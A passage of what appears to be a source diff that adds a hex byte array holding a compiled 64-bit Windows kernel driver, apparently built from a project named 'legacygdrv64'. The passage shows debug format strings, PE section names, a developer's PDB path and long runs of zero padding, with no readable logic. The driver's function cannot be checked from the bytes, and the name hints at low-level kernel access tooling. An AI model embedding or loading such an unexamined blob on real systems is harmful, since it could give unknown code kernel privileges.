0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x35, 0x5D, 0x3D, 0x30, + 0x78, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x52, 0x65, 0x74, 0x20, 0x56, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x30, 0x78, + 0x25, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x2A, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xEC, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0E, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x42, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x56, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x86, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x9C, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAC, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xBE, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xDC, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x06, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xE0, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x46, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x58, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x7C, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x98, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xB2, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xC8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xF8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0C, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xC8, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x2F, 0x00, 0x40, + 0x01, 0x00, 0x00, 0x00, 0x30, 0x2F, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, + 0x80, 0x2F, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0xE0, 0x2F, 0x00, 0x40, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0xEB, 0x20, 0x5A, 0x00, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x72, 0x00, 0x00, 0x00, 0x54, 0x42, 0x00, 0x00, + 0x54, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0xEB, 0x20, 0x5A, + 0x00, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x88, 0x01, 0x00, 0x00, + 0xC8, 0x42, 0x00, 0x00, 0xC8, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x50, 0x00, 0x40, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x40, 0x00, 0x40, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x53, 0x44, 0x53, + 0x9F, 0x44, 0x71, 0x4D, 0x09, 0x1A, 0x30, 0x4A, 0xAA, 0xCC, 0x36, 0x6B, + 0x14, 0x01, 0x90, 0x11, 0x01, 0x00, 0x00, 0x00, 0x43, 0x3A, 0x5C, 0x55, + 0x73, 0x65, 0x72, 0x73, 0x5C, 0x67, 0x65, 0x6F, 0x72, 0x67, 0x65, 0x5C, + 0x64, 0x6F, 0x63, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x5C, 0x76, 0x69, + 0x73, 0x75, 0x61, 0x6C, 0x20, 0x73, 0x74, 0x75, 0x64, 0x69, 0x6F, 0x20, + 0x32, 0x30, 0x31, 0x35, 0x5C, 0x50, 0x72, 0x6F, 0x6A, 0x65, 0x63, 0x74, + 0x73, 0x5C, 0x6C, 0x65, 0x67, 0x61, 0x63, 0x79, 0x67, 0x64, 0x72, 0x76, + 0x36, 0x34, 0x5C, 0x78, 0x36, 0x34, 0x5C, 0x52, 0x65, 0x6C, 0x65, 0x61, + 0x73, 0x65, 0x5C, 0x67, 0x64, 0x72, 0x76, 0x36, 0x34, 0x2E, 0x70, 0x64, + 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, + 0x50, 0x02, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, + 0x50, 0x12, 0x00, 0x00, 0xD0, 0x1C, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, + 0x74, 0x24, 0x6D, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x20, 0x2F, 0x00, 0x00, + 0xE0, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, + 0x24, 0x30, 0x30, 0x00, 0x00, 0x30, 0x00, 0x00, 0x40, 0x04, 0x00, 0x00, + 0x2E, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6D, 0x6E, 0x24, 0x32, 0x31, 0x00, + 0x40, 0x34, 0x00, 0x00, 0x4F, 0x06, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, + 0x74, 0x24, 0x73, 0x00, 0x00, 0x40, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, + 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x35, 0x00, 0x00, 0x00, 0x00, + 0xF8, 0x40, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x2E, 0x30, 0x30, 0x63, + 0x66, 0x67, 0x00, 0x00, 0x20, 0x41, 0x00, 0x00, 0x34, 0x01, 0x00, 0x00, + 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x54, 0x42, 0x00, 0x00, + 0xFC, 0x01, 0x00, 0x00, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x24, 0x7A, + 0x7A, 0x7A, 0x64, 0x62, 0x67, 0x00, 0x00, 0x00, 0x50, 0x44, 0x00, 0x00, + 0x50, 0x02, 0x00, 0x00, 0x2E, 0x78, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, + 0x00, 0x50, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x2E, 0x64, 0x61, 0x74, + 0x61, 0x00, 0x00, 0x00, 0x20, 0x50, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, + 0x2E, 0x62, 0x73, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, + 0xEC, 0x01, 0x00, 0x00, 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, + 0x00, 0x70, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x2E, 0x67, 0x66, 0x69, + 0x64, 0x73, 0x24, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, + 0x90, 0x00, 0x00, 0x00, 0x49, 0x4E, 0x49, 0x54, 0x00, 0x00, 0x00, 0x00, + 0x90, 0x80, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, + 0x74, 0x61, 0x24, 0x32, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x80, 0x00, 0x00, + 0x18, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x33, + 0x00, 0x00, 0x00, 0x00, 0xD0, 0x80, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, + 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x34, 0x00, 0x00, 0x00, 0x00, + 0xC8, 0x81, 0x00, 0x00, 0x84, 0x02, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, + 0x74, 0x61, 0x24, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, + 0x60, 0x00, 0x00, 0x00, 0x2E, 0x72, 0x73, 0x72, 0x63, 0x24, 0x30, 0x31, + 0x00, 0x00, 0x00, 0x00, 0x60, 0x90, 0x00, 0x00, 0xE8, 0x02, 0x00, 0x00, + 0x2E, 0x72, 0x73, 0x72, 0x63, 0x24, 0x30, 0x32, 0x00, 0x00, 0x00, 0x00, + 0x02, 0x0F, 0x08, 0x00, 0x02, 0x16, 0x00, 0x06, 0x0F, 0x64, 0x0F, 0x00, + 0x0F, 0x34, 0x0E, 0x00, 0x0F, 0xB2, 0x0B, 0x70, 0x02, 0x1D, 0x0E, 0x00, + 0x07, 0x06, 0x62, 0x16, 0x1D, 0x74, 0x0D, 0x00, 0x1D, 0x64, 0x0C, 0x00, + 0x1D, 0x54, 0x0B, 0x00, 0x1D, 0x34, 0x0A, 0x00, 0x1D, 0x52, 0x19, 0xF0, + 0x17, 0xE0, 0x15, 0xC0, 0x02, 0x10, 0x0A, 0x00, 0x08, 0x16, 0x00, 0x06, + 0x10, 0x34, 0x0B, 0x00, 0x10, 0x32, 0x0C, 0xF0, 0x0A, 0xE0, 0x08, 0x70, + 0x07, 0x60, 0x06, 0x50, 0x02, 0x12, 0x0A, 0x00, 0x05, 0x16, 0x00, 0x06, + 0x12, 0x54, 0x0B, 0x00, 0x12, 0x34, 0x09, 0x00, 0x12, 0x32, 0x0E, 0xE0, + 0x0C, 0x70, 0x0B, 0x60, 0x02, 0x0A, 0x06, 0x00, 0x02, 0x16, 0x00, 0x06, + 0x0A, 0x34, 0x08, 0x00, 0x0A, 0x52, 0x06, 0x70, 0x02, 0x0A, 0x06, 0x00, + 0x02, 0x16, 0x00, 0x06, 0x0A, 0x34, 0x06, 0x00, 0x0A, 0x32, 0x06, 0x70, + 0x02, 0x14, 0x0A, 0x00, 0x02, 0x16, 0x00, 0x06, 0x14, 0x64, 0x08, 0x00, + 0x14, 0x54, 0x07, 0x00, 0x14, 0x34, 0x06, 0x00, 0x14, 0x32, 0x10, 0x70, + 0x02, 0x1F, 0x0D, 0x00, 0x06, 0x16, 0x00, 0x06, 0x1F, 0x74, 0x21, 0x00, + 0x1F, 0x64, 0x20, 0x00, 0x1F, 0x34, 0x1E, 0x00, 0x1F, 0x01, 0x1A, 0x00, + 0x14, 0xF0, 0x12, 0xE0, 0x10, 0x50, 0x00, 0x00, 0x1A, 0x27, 0x0C, 0x00, + 0x09, 0x16, 0x00, 0x06, 0x19, 0x64, 0x15, 0x00, 0x19, 0x34, 0x14, 0x00, + 0x19, 0xB2, 0x12, 0xF0, 0x10, 0xE0, 0x0E, 0xC0, 0x0C, 0x70, 0x0B, 0x50, + 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x1A, 0x23, 0x0A, 0x00, + 0x05, 0x16, 0x00, 0x06, 0x15, 0x64, 0x13, 0x00, 0x15, 0x34, 0x12, 0x00, + 0x15, 0xB2, 0x0E, 0xE0, 0x0C, 0x70, 0x0B, 0x50, 0x90, 0x2E, 0x00, 0x00, + 0x58, 0x00, 0x00, 0x00, 0x1A, 0x1D, 0x08, 0x00, 0x04, 0x16, 0x00, 0x06, + 0x0F, 0x34, 0x12, 0x00, 0x0F, 0xB2, 0x08, 0x70, 0x07, 0x60, 0x06, 0x50, + 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x1A, 0x20, 0x08, 0x00, + 0x02, 0x16, 0x00, 0x06, 0x12, 0x74, 0x11, 0x00, 0x12, 0x34, 0x10, 0x00, + 0x12, 0xB2, 0x0B, 0x50, 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, + 0x1A, 0x21, 0x0A, 0x00, 0x08, 0x16, 0x00, 0x06, 0x13, 0x34, 0x14, 0x00, + 0x13, 0xB2, 0x0C, 0xF0, 0x0A, 0xE0, 0x08, 0x70, 0x07, 0x60, 0x06, 0x50, + 0x90, 0x2E, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x1A, 0x21, 0x0A, 0x00, + 0x05, 0x16, 0x00, 0x06, 0x12, 0x54, 0x13, 0x00, 0x12, 0x34, 0x12, 0x00, + 0x12, 0xB2, 0x0E, 0xE0, 0x0C, 0x70, 0x0B, 0x60, 0x90, 0x2E, 0x00, 0x00, + 0x58, 0x00, 0x00, 0x00, 0x02, 0x04, 0x03, 0x00, 0x01, 0x16, 0x00, 0x06, + 0x04, 0x42, 0x00, 0x00, 0x02, 0x15, 0x0A, 0x00, 0x03, 0x16, 0x00, 0x06, + 0x15, 0x74, 0x08, 0x00, 0x15, 0x64, 0x07, 0x00, 0x15, 0x34, 0x06, 0x00, + 0x15, 0x32, 0x11, 0xE0, 0x02, 0x0F, 0x08, 0x00, 0x02, 0x16, 0x00, 0x06, + 0x0F, 0x64, 0x09, 0x00, 0x0F, 0x34, 0x08, 0x00, 0x0F, 0x52, 0x0B, 0x70, + 0x02, 0x06, 0x04, 0x00, 0x02, 0x16, 0x00, 0x06, 0x06, 0x32, 0x02, 0x30, + 0x02, 0x0F, 0x08, 0x00, 0x02, 0x16, 0x00, 0x06, 0x0F, 0x64, 0x07, 0x00, + 0x0F, 0x34, 0x06, 0x00, 0x0F, 0x32, 0x0B, 0x70, 0x02, 0x19, 0x0C, 0x00, + 0x03, 0x16, 0x00, 0x06, 0x19, 0x74, 0x09, 0x00, 0x19, 0x64, 0x08, 0x00, + 0x19, 0x54, 0x07, 0x00, 0x19, 0x34, 0x06, 0x00, 0x19, 0x32, 0x15, 0xE0, + 0x02, 0x0A, 0x06, 0x00, 0x06, 0x16, 0x00, 0x06, 0x0A, 0x34, 0x06, 0x00, + 0x0A, 0x32, 0x06, 0x70, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x04, 0x00, + 0x01, 0x06, 0x0A, 0x06, 0x05, 0x06, 0x00, 0x06, 0x02, 0x04, 0x01, 0x00, + 0x04, 0x62, 0x00, 0x00, 0x02, 0x02, 0x03, 0x00, 0x06, 0x16, 0x00, 0x06, + 0x02, 0x30, 0x00, 0x00, 0x02, 0x00, 0x04, 0x00, 0x01, 0x06, 0xE8, 0x26, + 0x48, 0x16, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x02, 0x00, + 0x01, 0x16, 0xAF, 0x06, 0x02, 0x00, 0x02, 0x00, 0x02, 0x16, 0x00, 0x06, + 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, + 0xCD, 0x5D, 0x20, 0xD2, 0x66, 0xD4, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 